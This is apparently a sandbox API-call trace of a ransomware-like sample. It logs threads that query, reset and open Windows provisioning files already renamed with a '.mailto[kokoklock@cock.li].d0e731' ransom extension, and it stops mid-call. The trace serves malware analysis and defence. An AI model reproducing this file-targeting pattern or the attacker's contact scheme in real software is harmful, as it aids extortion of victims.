SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c80) returned 1 [0178.975] RtlExitUserThread (Status=0x0) Thread: id = 2672 os_tid = 0x1344 [0177.748] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.977] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.977] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.977] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3660) returned 1 [0178.977] RtlExitUserThread (Status=0x0) Thread: id = 2673 os_tid = 0x1348 [0177.749] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.978] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.978] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.978] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.978] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe31c8) returned 1 [0178.978] RtlExitUserThread (Status=0x0) Thread: id = 2674 os_tid = 0x134c [0177.749] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.921] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.921] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.921] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3af8) returned 1 [0178.922] RtlExitUserThread (Status=0x0) Thread: id = 2675 os_tid = 0x1350 [0177.750] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.922] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.923] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.923] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.923] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98f60) returned 1 [0178.923] RtlExitUserThread (Status=0x0) Thread: id = 2676 os_tid = 0x1354 [0177.750] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.924] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.924] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.924] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.924] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f990f0) returned 1 [0178.924] RtlExitUserThread (Status=0x0) Thread: id = 2677 os_tid = 0x1358 [0177.751] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.925] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.925] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.925] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.925] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99280) returned 1 [0178.925] RtlExitUserThread (Status=0x0) Thread: id = 2678 os_tid = 0x135c [0177.751] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.979] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.979] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.980] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.980] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99420) returned 1 [0178.980] RtlExitUserThread (Status=0x0) Thread: id = 2679 os_tid = 0x1360 [0177.751] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.981] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.981] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.981] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.981] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8640) returned 1 [0178.981] RtlExitUserThread (Status=0x0) Thread: id = 2680 os_tid = 0x1364 [0177.752] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.982] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.982] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.982] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.982] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa87d8) returned 1 [0178.983] RtlExitUserThread (Status=0x0) Thread: id = 2681 os_tid = 0x1368 [0177.752] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.983] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.984] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.984] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.984] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8950) returned 1 [0178.984] RtlExitUserThread (Status=0x0) Thread: id = 2682 os_tid = 0x136c [0177.753] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.926] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.926] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.926] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8ae8) returned 1 [0178.926] RtlExitUserThread (Status=0x0) Thread: id = 2683 os_tid = 0x1370 [0177.753] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.927] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.927] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.928] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.928] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8c60) returned 1 [0178.928] RtlExitUserThread (Status=0x0) Thread: id = 2684 os_tid = 0x1374 [0177.754] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.929] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.929] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.929] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8e00) returned 1 [0178.929] RtlExitUserThread (Status=0x0) Thread: id = 2685 os_tid = 0x1378 [0177.754] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.930] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.930] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 